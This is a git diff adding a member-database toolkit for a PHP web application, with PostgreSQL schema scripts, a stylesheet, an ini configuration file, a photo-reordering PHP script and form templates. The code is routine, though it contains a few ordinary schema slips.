diff --git a/Toolkit/Members/memberdb-session.sql b/Toolkit/Members/memberdb-session.sql
new file mode 100644 (file)
index 0000000..5d159b0
--- /dev/null
@@ -0,0 +1,8 @@
+CREATE TABLE member_session(
+id SERIAL PRIMARY KEY,
+member_id int REFERENCES member ON DELETE CASCADE,
+contact_id int REFERENCES contact ON DELETE CASCADE,
+catid int REFERENCES bus_category ON DELETE CASCADE
+);
+
+GRANT ALL ON member_session to nobody;
diff --git a/Toolkit/Members/memberdb.css b/Toolkit/Members/memberdb.css
new file mode 100644 (file)
index 0000000..3ef3869
--- /dev/null
@@ -0,0 +1,410 @@
+/* 
+
+h1 {
+       font-size: 16px;
+       }       
+#content {
+       margin: 0px;
+}
+#subnavcontainer, #navcontainer,
+#top {
+       margin-right: 0px;
+}
+#wrapper {
+       width: 700px;
+       margin: 0 auto;
+       text-align: left;
+       background: white;
+       padding: 20px;
+       height: 1%;
+       overflow: hidden;
+       }
+Above is only for template , DISREGARD :) */   
+#advanced-search {
+       text-align: right;
+       cursor: pointer;
+       color: blue;
+}
+.req {
+       color: red;
+}
+#form-warning-top {
+       color: black;
+       font-size: 110%;
+       font-weight: bold;
+       margin: 10px;
+       padding: 7px;
+       border: 1px solid red;
+       background-color: #FFCCCC;
+}
+#form-success-top {
+       color: black;
+       font-size: 110%;
+       font-weight: bold;
+       margin: 10px;
+       padding: 7px;
+       border: 1px solid green;
+       background-color: #CCFFCC;
+}
+       
+img {
+       border: 0;
+       display: block;
+       }       
+/*   ---------------   */      
+/*     NAVIGATION      */
+/*   ---------------   */      
+#nav-detail {
+       margin-top: 12px;
+       height: 1%;
+       overflow: hidden;
+       clear: left;
+       }
+#nav-detail ul {
+  padding: 0px 0;
+       padding-bottom: 3px;
+  margin: 0;
+       margin-top: 10px;
+  border-bottom: 1px solid #666;
+  font-weight: bold;
+}
+#nav-detail ul li {
+  list-style: none;
+  margin: 0;
+  display: inline;
+}
+#nav-detail ul li a {
+  padding: 3px 0.5em;
+  margin-left: 3px;
+  border: 1px solid #666;
+  border-bottom: none;
+  background: #E6EFD1;
+  text-decoration: none;
+}
+#nav-detail ul li a:link { color: #666; }
+#nav-detail ul li a:visited { color: #666; }
+#nav-detail ul li a:hover {
+  color: #666;
+  background: #ccc;
+       background: #FFFBDF;
+  border-color: #666;
+}
+#nav-detail ul li a.current {
+  background: white;
+  border-bottom: 1px solid white;
+       color: #000;
+}
+
+/* Member Box */
+#member-info   {
+       margin: 0;
+       border: 1px solid #666;
+       border-top: 0;
+       padding: 10px;
+       position: relative;
+       height: 1%;
+       overflow: hidden;
+       clear: left;
+       }
+       
+#mRow1 {
+       float: left;
+       position: relative;
+       margin: 0 0 0 10px;
+       display: inline;
+       width: 380px;
+       }
+#mRow2 {
+       float: right;
+       position: relative;
+       }
+#mRow1 .text {
+       width: 180px;
+       }       
+#mRow2 .text {
+       width: 150px;
+       }               
+.form {
+       clear: left;
+       display: block;
+       position: relative;
+       margin: 0 0 1em 0;
+       padding: 0;
+       border: 0;
+       }
+/* narrower column */ 
+.formNarrow {
+       clear: right;
+       margin: 0 0 1em 0;
+       }       
+.form legend {
+       font-size: 1.2em;
+       font-weight: bold;
+       margin: 0;
+       padding: 0 0 0.4em 0;
+       color: #000;
+       }
+.form table,
+.form td {
+       border-collapse: collapse;
+       border: 1px solid #fff;
+       padding: 0;
+       background: #D6DFC3;
+       }       
+.form td {
+       padding: 4px 6px;
+       }
+.form label {
+       display: block;
+       }
+.labelcell {
+       text-align: right;
+       width: 120px;
+       }
+.formNarrow .labelcell {
+       width: 110px;
+       }       
+.fieldcell {
+       text-align: left;
+       width: 220px;
+       }
+.formNarrow .fieldcell {
+       width: 150px;
+       }
+       
+/* Multiple rows in one cell    */
+.fieldcell i {
+       display: block;
+       font-style: normal;
+       padding: 5px;
+       text-align: left;
+       background-color: #eee;
+       margin-bottom: 1px;
+       }
+.fieldcell i img {
+       margin-right: 6px;}
+       
+/* Small graphics */
+.remove {
+       float: right;
+       clear: right;}
+.add {
+       display: block;
+       /* float: right; */
+       display: block;
+       font-style: normal;
+       padding: 5px;
+       text-align: left;
+       background-color: #eee;
+       margin-bottom: 1px;
+       }
+.add img {float: left; margin-right: 10px;}    
+.info {
+       float: right;
+       }
+
+.priceFrom,
+.priceTo {
+       width: 4em;
+       }       
+.submit {display: block;}      
+
+/* Submit */
+.submitArea {
+       background: #D6DFC3;
+       text-align: center;
+       padding: 10px;
+       clear: both;
+       }
+.submitArea input {
+       margin: 0 auto;
+       display: block;
+       }
+
+       
+/*   ---------------   */      
+/*        PHOTOS       */
+/*   ---------------   */      
+.photoItem {
+       margin-top: 1em;
+       padding: 20px;
+       border: 1px solid #ccc;
+       height: 1%;
+       overflow: hidden;
+       position: relative;
+       background: #D6DFC3;
+       }
+.photoItem .thumb {
+       float: left;
+       position: relative;
+       margin-right: 20px;
+       }
+.photoItem i {
+       font-style: normal;
+       font-weight: bold;
+       display: block;
+       }
+.photoItem input {margin-top: 0.5em;}
+.photoItem input.text {
+       width: 400px;
+       display: block;
+       }       
+.photoItem .photoDelete {
+/*     display: block;
+       margin-top: 1em;
+       border: 1px solid #ccc;
+       background: #FFEFEF;
+       width: 130px;
+       padding: 3px;
+       color: #000;
+*/
+       position: absolute;
+       bottom: 20px;
+       right: 20px;    
+
+       }
+.photoDelete:hover {background: #EFD1D1;}      
+.photoItem .photoDelete img {
+       float: left;
+       margin-right: 6px;
+       }
+.photoOptions {float: left;}
+
+
+/*   ---------------   */      
+/*      PACKAGES       */
+/*   ---------------   */      
+
+.packageItem {
+       margin-top: 1em;
+       padding: 20px;
+       border: 1px solid #96A379;
+       height: 1%;
+       overflow: hidden;
+       position: relative;
+       background: #D6DFC3;
+       }
+
+.packageItem .thumb {
+       position: relative;
+       margin-bottom: 1em;
+       }
+.packageText {
+       float: left;
+       width: 350px;
+       padding-bottom: 1em;
+       }       
+.packageItem i {
+       font-style: normal;
+       font-weight: bold;
+       display: block;
+       padding-top: 1em;
+       
+       }
+.packageItem input {margin-top: 0.5em;}
+.packageItem input.text {
+       width: 200px;
+       display: block;
+       }
+.packageItem textarea {
+       width: 300px;
+       height: 150px;
+       }       
+.packageItem .packageDelete {
+       display: block;
+       margin-top: 1em;
+       border: 1px solid #ccc;
+       background: #FFEFEF;
+       width: 140px;
+       padding: 3px;
+       position: absolute;
+       bottom: 20px;
+       right: 20px;    
+       color: #000;
+       }
+.packageDelete:hover {background: #EFD1D1;}    
+.packageItem .packageDelete img {
+       float: left;
+       margin-right: 6px;
+       }
+.packageOptions {float: left;}
+
+
+
+/*   ---------------   */      
+/*      AMENITIES      */
+/*   ---------------   */      
+.amenityList {
+       list-style-type: none;
+       float: left;
+       position: relative;
+       margin-right: 50px;
+       zoom: 1;
+       width: 200px;
+       }
+.amenityList input {
+       /* No Luck, see http://meyerweb.com/eric/thoughts/2007/05/15/formal-weirdness/ */
+}
+.amenityList li {
+       vertical-align: middle;
+       height: 1%;
+       overflow: hidden;
+       font-size: 1.2em;
+       }
+.amenityList label {
+  padding: 4px;
+  display: block;
+       background: #D6DFC3;
+       margin-bottom: 1px;
+} 
+.amenityList label.amenityOn {
+       background-color: #E6EFD1;
+       cursor: hand;
+       cursor: pointer;
+       }       
+
+/* SPECIFIC TO SEARCH RESULT HERE */
+.searchResult {
+       border: 1px solid #96A379;
+       padding: 10px 20px;
+       margin: 5px 0;
+       background-color: #D6DFC3;
+       height: 1%;
+       overflow: hidden;
+       position: relative;
+}
+.searchResultOn {
+       background: url(../../assets/searchResultOn.gif) no-repeat 95% center #E6EFD1;
+       cursor: hand;
+       cursor: pointer;
+}
+.searchResult h3 {
+       font-size: 15px;
+       color: #333;
+       margin: 0;
+       float: left;
+}
+.searchResultOn h3 {
+       color: #000;
+}
+.searchResult .phone {
+       position: absolute;
+       bottom: 10px;
+       right: 300px;
+}
+.searchResult a.email {
+       position: absolute;
+       bottom: 10px;
+       right: 150px;
+}
+.searchResult a {
+       color: #96A379;
+   text-decoration: none;
+}
+.searchResult a.email {
+       text-decoration: underline;
+}
+.searchResult a:link {color: #585F47;}
+.searchResult a:visited {color: #585F47;}
+.searchResult a:hover {color: #585F47;}
+.searchResult a:active {color: #585F47;}
diff --git a/Toolkit/Members/memberdb.sql b/Toolkit/Members/memberdb.sql
new file mode 100644 (file)
index 0000000..0374988
--- /dev/null
@@ -0,0 +1,390 @@
+CREATE TABLE state (
+state_id       serial PRIMARY KEY,
+state_name     text,
+state_abb      varchar(2),
+us_state    boolean default false
+);
+
+DELETE FROM state;
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Alabama', 'AL');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Alaska', 'AK');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Arizona', 'AZ');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Arkansas', 'AR');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'California', 'CA');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Colorado', 'CO');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Connecticut', 'CT');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Delaware', 'DE');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'District of Columbia', 'DC');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Florida', 'FL');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Georgia', 'GA');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Hawaii', 'HI');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Idaho', 'ID');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Illinois', 'IL');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Indiana', 'IN');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Iowa', 'IA');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Kansas', 'KS');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Kentucky', 'KY');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Louisiana', 'LA');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Maine', 'ME');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Maryland', 'MD');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Massachusetts', 'MA');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Michigan', 'MI');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Minnesota', 'MN');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Mississppi', 'MS');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Missouri', 'MO');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Montana', 'MT');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Nebraska', 'NE');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Nevada', 'NV');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'New Hampshire', 'NH');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'New Jersey', 'NJ');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'New Mexico', 'NM');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'New York', 'NY');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'North Carolina', 'NC');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'North Dakota', 'ND');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Ohio', 'OH');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Oklahoma', 'OK');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Oregon', 'OR');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Pennsylvania', 'PA');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Rhode Island', 'RI');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'South Carolina', 'SC');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'South Dakota', 'SD');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Tennessee', 'TN');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Texas', 'TX');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Utah', 'UT');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Vermont', 'VT');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Virginia', 'VA');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Washington', 'WA');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'West Virginia', 'WV');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Wisconsin', 'WI');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (true, 'Wyoming', 'WY');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Alberta', 'AB');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'American Samoa', 'AS');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'British Columbia', 'BC');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Federated States of Micronesia', 'FM');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Guam', 'GU');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Manitoba', 'MB');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Marshall Islands', 'MH');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'New Brunswick', 'NB');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Newfoundland', 'NF');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Northern Mariana Islands', 'MP');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Northwest Territories', 'NT');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Nova Scotia', 'NS');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Ontario', 'ON');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Palau', 'PW');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Prince Edward Island', 'PE');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Puerto Rico', 'PR');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Quebec', 'QC');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Saskatchewan', 'SK');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Virgin Islands', 'VI');
+INSERT INTO state (us_state, state_name, state_abb) VALUES (false, 'Yukon', 'YT');
+
+GRANT ALL ON state_state_id_seq TO nobody;
+GRANT ALL ON state TO nobody;
+
+CREATE TABLE region (
+region_id      serial PRIMARY KEY,
+region_name    text UNIQUE
+);
+
+DELETE FROM region;
+ALTER SEQUENCE region_region_id_seq RESTART WITH 1;
+INSERT INTO region (region_name) VALUES ('Temp Region');
+
+GRANT ALL ON region_region_id_seq TO nobody;
+GRANT ALL ON region TO nobody;
+
+CREATE TABLE county (
+county_id      serial PRIMARY KEY,
+state_id       integer REFERENCES state(state_id) ON DELETE CASCADE,
+county_name    text,
+region_id      integer REFERENCES region(region_id) ON DELETE CASCADE
+);
+
+DELETE FROM county;
+ALTER SEQUENCE county_county_id_seq RESTART WITH 1;
+INSERT INTO county(state_id, county_name, region_id) VALUES (1, 'Temp County', 1);
+
+GRANT ALL ON county_county_id_seq TO nobody;
+GRANT ALL ON county TO nobody;
+
+CREATE TABLE city (
+city_id                serial PRIMARY KEY,
+state_id       integer REFERENCES state(state_id) ON DELETE CASCADE,
+city_name      text,
+county_id      integer REFERENCES county(county_id) ON DELETE CASCADE,
+region_id      integer REFERENCES region(region_id) ON DELETE CASCADE,
+description    text,
+image          text
+);
+
+DELETE FROM city;
+ALTER SEQUENCE city_city_id_seq RESTART WITH 1;
+INSERT INTO city (state_id, city_name, county_id, region_id) VALUES (1, 'Temp City', 1, 1);
+
+GRANT ALL ON city_city_id_seq TO nobody;
+GRANT ALL ON city TO nobody;
+
+CREATE TABLE member (
+member_id                              serial primary key,
+member_name                            text UNIQUE,
+member_login                   text UNIQUE,
+member_passwd                  text,
+street                                 text,
+lat                                            double precision,
+lon                                            double precision,
+country                                        text,
+phone                                  text,
+fax                                            text,
+process_email                  text,
+url                                            text,
+city                                   text,
+city_id                 integer references city(city_id) ON DELETE SET NULL,
+state                                  text,
+state_id                               integer references state(state_id) ON DELETE SET NULL,
+description                            text,
+create_date                            date DEFAULT now(),
+zip                                            text,
+toll_free                              text,
+member_contact_email   text,
+spotlight                              boolean,
+logo                                   text,
+mailing_address                        text,
+primary_contact                        text,
+primary_contact_fname   text,
+primary_contact_lname   text,
+active                  boolean default false,
+mailing_city            text,
+mailing_city_id         integer references city(city_id) ON DELETE SET NULL,
+mailing_state_id        integer references state(state_id) ON DELETE SET NULL,
+mailing_zip             text,
+join_date               date
+region                  integer references region(region_id) ON DELETE SET NULL,
+new_member                             boolean default false,
+facebook                text,
+twitter                 text,
+myspace                 text,
+linkedin                text,
+blog                    text
+);
+
+GRANT ALL ON member_member_id_seq TO nobody;
+GRANT ALL ON member TO nobody;
+
+CREATE TABLE member_accommodations (
+id                             serial PRIMARY KEY,
+reservation_id text,
+num_rooms              integer,
+year_round             boolean default false,
+member_id              integer REFERENCES member(member_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_accommodations_id_seq TO nobody;
+GRANT ALL ON member_accommodations TO nobody;
+
+CREATE TABLE amenity (
+amenity_id             serial PRIMARY KEY,
+amenity_name   text,
+amenity_icon   text,
+display_form   boolean
+);
+
+GRANT ALL ON amenity_amenity_id_seq TO nobody;
+GRANT ALL ON amenity TO nobody;
+
+CREATE TABLE member_amenity (
+member_amenity_id      serial PRIMARY KEY,
+member_id                      integer REFERENCES member(member_id) ON DELETE CASCADE,
+amenity_id                     integer REFERENCES amenity(amenity_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_amenity_member_amenity_id_seq TO nobody;
+GRANT ALL ON member_amenity TO nobody;
+
+CREATE TABLE category (
+category_id            serial PRIMARY KEY,
+name                   text NOT NULL,
+parent_id              integer DEFAULT 0,
+pos                            integer DEFAULT 1,
+accommodations boolean default false,
+restaurant             boolean default false,
+golf                   boolean default false,
+code                   integer
+);
+
+DELETE FROM category;
+ALTER SEQUENCE category_category_id_seq RESTART WITH 1;
+INSERT INTO category (name, parent_id, pos, accommodations, restaurant, golf) VALUES ('Parent', 0, 1, true, true, true);
+INSERT INTO category (name, parent_id, pos, accommodations, restaurant, golf) VALUES ('Child', 1, 1, false, false, false);
+INSERT INTO category (name, parent_id, pos, accommodations, restaurant, golf) VALUES ('Sibling', 1, 2, false, true, false);
+INSERT INTO category (name, parent_id, pos, accommodations, restaurant, golf) VALUES ('Grand Child', 2, 1, false, false, true);
+
+GRANT ALL ON category_category_id_seq TO nobody;
+GRANT ALL ON category TO nobody;
+
+CREATE TABLE bus_cat_member(
+id          serial PRIMARY KEY,
+catid       integer REFERENCES bus_category(id) ON DELETE CASCADE,
+memb_type   integer REFERENCES category(id) ON DELETE CASCADE,
+prop_type   integer
+);
+
+GRANT ALL on bus_cat_member_id_seq to nobody;
+GRANT ALL on bus_cat_member to nobody;
+CREATE UNIQUE INDEX bus_cat_member_id_index on bus_cat_member (id);
+CREATE INDEX bus_cat_member_catid_memb_index on bus_cat_member (catid, memb_type);
+
+CREATE TABLE member_category (
+member_category_id     serial PRIMARY KEY,
+member_id                      integer REFERENCES member(member_id) ON DELETE CASCADE,
+category_id                    integer REFERENCES category(category_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_category_member_category_id_seq TO nobody;
+GRANT ALL ON member_category TO nobody;
+
+CREATE TABLE member_ccard_type (
+member_ccard_type_id   serial PRIMARY KEY,
+member_id                              integer REFERENCES member(member_id) ON DELETE CASCADE,
+ccard_type_id                  integer REFERENCES ccard_type(ccard_type_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_ccard_type_member_ccard_type_id_seq TO nobody;
+GRANT ALL ON member_ccard_type TO nobody;
+
+CREATE TABLE member_contacts (
+id                     serial PRIMARY KEY,
+title          text,
+fname          text NOT NULL,
+lname          text NOT NULL,
+email          text,
+phone          text,
+send_mail      boolean DEFAULT false,
+member_id      integer REFERENCES member(member_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_contacts_id_seq TO nobody;
+GRANT ALL ON member_contacts TO nobody;
+
+CREATE TABLE member_files (
+id                             serial PRIMARY KEY,
+file_contents  text,
+create_date            date DEFAULT now(),
+original_name  text NOT NULl,
+size                   integer NOT NULL,
+file_name              text NOT NULL,
+name_on_disk   text NOT NULL,
+pending                        boolean DEFAULT true,
+member_id              integer REFERENCES member(member_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_files_id_seq TO nobody;
+GRANT ALL ON member_files TO nobody;
+
+CREATE TABLE member_golf (
+id                             serial PRIMARY KEY,
+par                            text,
+yardage                        text,
+course_rating  text,
+slope_rating   text,
+walking_course boolean DEFAULT false,
+holes18                        text,
+holes9                 text,
+member_id              integer REFERENCES member(member_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_golf_id_seq TO nobody;
+GRANT ALL ON member_golf TO nobody;
+
+CREATE TABLE member_packages (
+id                     serial PRIMARY KEY,
+title          text,
+description    text,
+image          text,
+type           text,
+pending                boolean DEFAULT true,
+pos         integer,
+sdate       date,
+edate       date,
+member_id      integer REFERENCES member(member_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_packages_id_seq TO nobody;
+GRANT ALL ON member_packages TO nobody;
+
+CREATE TABLE member_photos (
+id                     serial PRIMARY KEY,
+image          text NOT NULL,
+caption                text,
+pending                boolean DEFAULT true,
+pos                    integer DEFAULT 1,
+member_id      integer REFERENCES member(member_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_photos_id_seq TO nobody;
+GRANT ALL ON member_photos TO nobody;
+
+CREATE TABLE member_restaurants (
+id                             serial PRIMARY KEY,
+breakfast              boolean DEFAULT false,
+breakfast_from text,
+breakfast_to   text,
+brunch                 boolean DEFAULT false,
+brunch_from            text,
+brunch_to              text,
+lunch                  boolean DEFAULT false,
+lunch_from             text,
+lunch_to               text,
+dinner                 boolean DEFAULT false,
+dinner_from            text,
+dinner_to              text,
+alcohol                        boolean DEFAULT false,
+non_smoking            boolean DEFAULT false,
+member_id              integer REFERENCES member(member_id) ON DELETE CASCADE
+);
+
+GRANT ALL ON member_restaurants_id_seq TO nobody;
+GRANT ALL ON member_restaurants TO nobody;
+
+CREATE TABLE member_updates (
+id                     serial PRIMARY KEY,
+field          text,
+update         text,
+alter_time     timestamp without time zone DEFAULT now(),
+db_table       text NOT NULL,
+data_type      text,
+label          text,
+foreign_key    integer,
+member_id      integer REFERENCES member(member_id) ON DELETE CASCADE,
+field_type     text
+);
+
+GRANT ALL ON member_updates_id_seq TO nobody;
+GRANT ALL ON member_updates TO nobody;
+
+CREATE TABLE ccard_type (
+ccard_type_id          serial PRIMARY KEY,
+ccard_type_name                text,
+ccard_type_icon                text
+);
+
+DELETE FROM ccard_type;
+ALTER SEQUENCE ccard_type_ccard_type_id_seq RESTART WITH 1;
+INSERT INTO ccard_type(ccard_type_name, ccard_type_icon) VALUES ('Visa', 'cardvisa.gif');
+INSERT INTO ccard_type(ccard_type_name, ccard_type_icon) VALUES ('Master Card', 'cardmaster.gif');
+INSERT INTO ccard_type(ccard_type_name, ccard_type_icon) VALUES ('Discover', 'carddiscover.gif');
+INSERT INTO ccard_type(ccard_type_name, ccard_type_icon) VALUES ('American Express', 'cardamex.gif');
+INSERT INTO ccard_type(ccard_type_name, ccard_type_icon) VALUES ('Dinner', 'carddinner.gif');
+
+GRANT ALL ON ccard_type_ccard_type_id_seq TO nobody;
+GRANT ALL ON ccard_type TO nobody;
+
+CREATE TABLE member_ccard_type (
+member_ccard_type_id   serial PRIMARY KEY,
+member_id                              integer REFERENCES member(member_id) ON DELETE CASCADE,
+ccard_type_id                  integer REFERENCES ccard_type(ccard_type_id) ON DELETE SET NULL
+);
+
+GRANT ALL ON member_ccard_type_member_ccard_type_id_seq TO nobody;
+GRANT ALL ON member_ccard_type TO nobody;
+
+\i /usr/share/postgresql/8.2/contrib/tablefunc.sql
diff --git a/Toolkit/Members/members.ini b/Toolkit/Members/members.ini
new file mode 100644 (file)
index 0000000..176f721
--- /dev/null
@@ -0,0 +1,47 @@
+; Member Database configuration file
+[conf]
+; Allow members to have their own coupons.
+coupons = On
+; Allow regions in the application.
+regions = On
+; Only allow cities in member records that are added by an admin user.
+; Turning on will provide admin with an extra form that will allow them
+; to add/edit/remove cities.
+; Turning off will allow any city name to be entered when editing member
+; records.
+controlledCities = On
+amenities = On
+counties = Off
+newMemberRequests = On
+; Determines if member changes must be first approved by admin
+; before they will be written to their actual record.
+strictPending = Off
+; Allow duplicate member names in the database
+duplicateMembers = Off
+
+[photos]
+; Maximum number of photos a member is allowed to upload per record
+maxPhotos = 100
+; Maximum length allowed in text fields for photo captions
+maxCaptionLength = 60
+; This is the template when editing / adding photos to a members gallery
+; Not to be confused w/ the templates for the add / edit photo forms.
+editGalleryTemplate = "editPhotoGallery.tpl"
+
+; How the app should be displayed (Business, Members, Users, etc...)
+; [List Businesses] [Add Business Listing] [Pending Business Listing Update]
+; [List Members] [Add Member Listing] [Pending Member Listing Update]
+[listing type]
+singular = "Member"
+plural = "Members"
+
+; How the regions should be displayed (Regions, Counties, Areas, etc...)
+; [Regions] [List Regions] [Add Regions]
+; [Counties] [List Counties] [Add Counties]
+[region type]
+singular = "Regions"
+plural = "Region"
+
+[tables]
+pendingTable = "member_updates"
+photosTable = "member_photos"
diff --git a/Toolkit/Members/sortPhotos.php b/Toolkit/Members/sortPhotos.php
new file mode 100644 (file)
index 0000000..0939dd1
--- /dev/null
@@ -0,0 +1,54 @@
+<?php
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: sortPhotos.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+require_once '../../setup.phtml';
+//     Make sure the users browser doesn't cache the result.
+
+//     Time in the past.
+header('Expires: Wed, 23 Dec 1980 00:30::00 GMT');
+header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
+header('Cache-Control: no-cache, must-revalidate');
+header('Pragma: no-cache');
+
+if (!is_array($_GET['photos'])) {
+       return;
+}
+$newOrder = $_GET['photos'];
+
+try {
+       $dbh->beginTransaction();
+
+       $sql = "
+        UPDATE member_photos
+           SET pos = :pos
+         WHERE id  = :id";
+       $stmt = $dbh->prepare($sql);
+       foreach ($newOrder as $k => &$v) {
+               $pos = $k + 1;
+               $stmt->bindParam(':pos', $pos, PDO::PARAM_INT);
+               $stmt->bindParam(':id', $v, PDO::PARAM_INT);
+               $stmt->execute();
+       }
+       $dbh->commit();
+       echo true;
+} catch (PDOException $e) {
+       $dbh->rollBack();
+       echo 'PDO Exception Caught.  ';
+       echo 'Error with the database:<br>';
+       echo 'Error: ' . $e->getMessage() . '<br>';
+       echo 'File: ' . $e->getFile() . '<br>';
+       echo 'Line: ' . $e->getLine() . '<br>';
+       print_r($dbh->errorInfo());
+}
+?>
diff --git a/Toolkit/Members/templates/addPackage.tpl b/Toolkit/Members/templates/addPackage.tpl
new file mode 100644 (file)
index 0000000..aa40473
--- /dev/null
@@ -0,0 +1,41 @@
+<div class="packageItem packageUploadForm">
+       {form.javascript:h}
+       {form.outputHeader():h}
+    {form.hidden:h}
+               <div class="packageText">
+            <i>{form.title.label:h}</i>
+            <div flexy:if="form.title.error" class="req">{form.title.error:h}</div>
+            {form.title.html:h}
+            <i>{form.description.label:h}</i>
+            <div flexy:if="form.description.error" class="req">{form.description.error:h}</div>
+            {form.description.html:h}
+            <i>
+                <span class="req" flexy:if="form.sdate.required">*</span>
+                {form.sdate.label:h}
+            </i>
+            <div flexy:if="form.sdate.error" class="req">{form.sdate.error:h}</div>
+            {form.sdate.html:h}
+            <i>
+                <span class="req" flexy:if="form.edate.required">*</span>
+                {form.edate.label:h}
+            </i>
+            <div flexy:if="form.edate.error" class="req">{form.edate.error:h}</div>
+            {form.edate.html:h}
+        </div>
+        <div class="packagePhoto">
+            <div flexy:if="showCurrImg">
+                <label>
+                    {form.remove_img_rmv.html:h}
+                    {form.remove_img_rmv.label:h}
+                </label>
+                
+                <i>{form.curr_image.label:h}</i>
+                {form.curr_image.html:h}
+            </div>
+            <i>{form.image.label:h}</i>
+            <div flexy:if="form.image.error" class="req">{form.image.error:h}</div>
+            {form.image.html:h}
+        </div>
+        <div class="submitArea"> {form.add_rmv.html:h} </div>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/addPhoto.tpl b/Toolkit/Members/templates/addPhoto.tpl
new file mode 100644 (file)
index 0000000..edad160
--- /dev/null
@@ -0,0 +1,15 @@
+<div class="photoItem photoUploadForm">
+       {form.javascript:h}
+       {form.outputHeader():h}
+               {form.hidden:h}
+               <div class="photoOptions">
+                       <i>{form.file.label:h}</i>
+                       <div flexy:if="form.file.error" class="req">{form.file.error:h}</div>
+                       {form.file.html:h}
+                       <i>{form.caption.label:h}</i>
+                       <div flexy:if="form.caption.error" class="req">{form.caption.error:h}</div>
+                       {form.caption.html:h}
+                       {form.submit.html:h}
+               </div>
+       </form>
+</div>
